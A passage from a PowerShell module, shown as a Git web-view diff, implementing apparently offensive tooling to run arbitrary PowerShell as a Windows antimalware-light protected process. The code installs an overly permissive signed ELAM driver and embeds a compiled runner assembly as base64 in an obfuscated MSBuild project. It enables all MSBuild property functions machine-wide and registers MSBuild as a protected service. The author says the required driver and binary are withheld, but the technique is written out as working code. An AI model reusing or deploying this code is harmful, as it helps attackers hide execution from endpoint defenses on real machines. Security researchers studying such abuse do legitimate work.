||||||
|
$ProtectedServiceName = 'MSBuildProtected',
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$SkipServiceInstall
|
||||||
|
)
|
||||||
|
|
||||||
|
if (-not $SkipServiceInstall) {
|
||||||
|
if (-not (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||||
|
throw 'Invoke-AntimalwareLightCommand must run from an elevated PowerShell session.'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$ResolvedOverlyPermissiveELAMDriverPath = Resolve-Path -Path $OverlyPermissiveELAMDriverPath | Select-Object -ExpandProperty Path
|
||||||
|
$ResolvedMicrosoftSignedMSBuildPath = Resolve-Path -Path $MicrosoftSignedMSBuildPath | Select-Object -ExpandProperty Path
|
||||||
|
|
||||||
|
#region Step #1 Validate ELAM driver and MSBuild
|
||||||
|
# Note: Neither the correct MSBuild nor the target overly-permissive ELAM driver are supplied. I did not want to release a fully-weaponized capability.
|
||||||
|
$MSBuildHash = Get-FileHash -Algorithm SHA256 -Path $ResolvedMicrosoftSignedMSBuildPath
|
||||||
|
|
||||||
|
if ($MSBuildHash.Hash -ne '6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768') {
|
||||||
|
Write-Error "$ResolvedMicrosoftSignedMSBuildPath SHA256 file hash is expected to be 6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768. Hash: $($MSBuildHash.Hash)"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
$ELAMCertificateInfo = Get-ElamCertInfo -Path $ResolvedOverlyPermissiveELAMDriverPath -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
if (-not $ELAMCertificateInfo) {
|
||||||
|
Write-Error "$ResolvedOverlyPermissiveELAMDriverPath is not a valid ELAM driver."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($ELAMCertificateInfo.ApprovedAntiMalwareSigners.AntiMalwareServiceSignerHash -notcontains 'E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3') {
|
||||||
|
Write-Error "The suppled ELAM driver does not contain the target TBS hash that will launch MSBuild protected: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3. Obtain the right ELAM driver and try again."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
#region Step #2 Install the signed ELAM driver that has an overly permissive ruleset
|
||||||
|
Write-Verbose "Installing overly permissive signed ELAM driver."
|
||||||
|
|
||||||
|
Register-ELAMDriver -ELAMDriverFilePath $ResolvedOverlyPermissiveELAMDriverPath -ErrorAction Stop
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
# Step #3 Generate an MSBuild payload that will execute the supplied PowerShell scriptblock
|
||||||
|
$MSBuildProjectFilePath = "$PWD\Runme.proj"
|
||||||
|
|
||||||
|
# Temporary path where the PowerShell runner MSBuild payload will be dropped.
|
||||||
|
# It will be written to disk so that the compiled assembly can be converted to base64 and embedded within the MSBuild project file.
|
||||||
|
$PowerShellRunnerFilePath = "$PWD\PSRunner.dll"
|
||||||
|
|
||||||
|
$MSBuildProjectTemplate = @"
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Target Name="TestTarget">
|
||||||
|
<PropertyGroup>
|
||||||
|
<TestProperty>`$([System.Activator]::CreateInstance(`$([System.Ref`lection.A`sse`mbly]::Load(`$([System.Convert]::FromBase64String("REPLACEME"))).GetType("Test")))))</TestProperty>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Target>
|
||||||
|
</Project>
|
||||||
|
"@
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Management.Automation;
|
||||||
|
|
||||||
|
public class Test {
|
||||||
|
public Test() {
|
||||||
|
PowerShell ps = PowerShell.Create();
|
||||||
|
ps.AddScript(@"$($ScriptBlock.ToString().Replace('"', '""'))", true);
|
||||||
|
ps.Invoke();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"@ -OutputAssembly $PowerShellRunnerFilePath
|
||||||
|
|
||||||
|
$AssemblyEncoded = [Convert]::ToBase64String([IO.File]::ReadAllBytes("$PowerShellRunnerFilePath")).TrimEnd()
|
||||||
|
|
||||||
|
Remove-Item -Path $PowerShellRunnerFilePath
|
||||||
|
|
||||||
|
$MSBuildProjectContent = $MSBuildProjectTemplate.Replace('REPLACEME', $AssemblyEncoded)
|
||||||
|
|
||||||
|
Out-File -InputObject $MSBuildProjectContent -FilePath $MSBuildProjectFilePath
|
||||||
|
|
||||||
|
# Step #4 Run Permit MSBuild to enable all property function methods
|
||||||
|
Write-Verbose 'Setting %MSBUILDENABLEALLPROPERTYFUNCTIONS% to 1 in order to permit property function execution in MSBuild.'
|
||||||
|
|
||||||
|
# Note: this is only specific to MSBuild abuse. This step only pertains to weaponizing MSBuild in this scenario. This step is unrelated to antimalware-light protected service abuse.
|
||||||
|
[Environment]::SetEnvironmentVariable('MSBUILDENABLEALLPROPERTYFUNCTIONS', '1', [EnvironmentVariableTarget]::Machine)
|
||||||
|
|
||||||
|
$ExistingProtectedService = Get-CimInstance -ClassName Win32_Service -Filter "Name = '$ProtectedServiceName'"
|
||||||
|
|
||||||
|
# Step #5 Install MSBuild as an antimalware-light service
|
||||||
|
if ($SkipServiceInstall) {
|
||||||
|
if ($ExistingProtectedService) {
|
||||||
|
Write-Verbose "Starting the following service: $ProtectedServiceName"
|
||||||
|
$null = Invoke-CimMethod -InputObject $ExistingProtectedService -MethodName StartService
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (-not $ExistingProtectedService) {
|
||||||
|
# Only install the service if it wasn't previously installed.
|
||||||
|
Write-Verbose "Installing and starting the following antimalware-light service: $ProtectedServiceName"
|
||||||
|
Install-ProtectedService -ServiceName $ProtectedServiceName -DisplayName $ProtectedServiceName -ExecutableFilePath $ResolvedMicrosoftSignedMSBuildPath -Arguments $MSBuildProjectFilePath
|
||||||
|
} else {
|
||||||
|
Write-Warning "The `"$ProtectedServiceName`" service is already installed. If you just want to update the payload to execute, run Invoke-AntimalwareLightCommand with the -SkipServiceInstall switch."
|
||||||
|
$null = Invoke-CimMethod -InputObject $ExistingProtectedService -MethodName StartService
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Validate that the service was installed or that it was installed previously
|
||||||
|
$ProtectedService = Get-CimInstance -ClassName Win32_Service -Filter "Name = '$ProtectedServiceName'" -Property PathName
|
||||||
|
|
||||||
|
if (-not $ProtectedService) {
|
||||||
|
Write-Warning "Installed service information could not be retrieved for the following service: $ProtectedServiceName"
|
||||||
|
}
|
||||||
|
|
||||||
|
[PSCustomObject] @{
|
||||||
|
ELAMDriverFilePath = $ResolvedOverlyPermissiveELAMDriverPath
|
||||||
|
ServiceName = $ProtectedServiceName
|
||||||
|
ServicePathName = $ProtectedService.PathName
|
||||||
|
MSBuildFilePath = $ResolvedMicrosoftSignedMSBuildPath
|
||||||
|
MSBuildFileHash = $MSBuildHash.Hash
|
||||||
|
MSBuildProjectFilePath = $MSBuildProjectFilePath
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Export-ModuleMember -Function Get-ProcessProtectionLevel, Get-ElamCertInfo, Register-ELAMDriver, Install-ProtectedService, Invoke-AntimalwareLightCommand
|
||||||
Binary file not shown.
Reference in New Issue
Block a user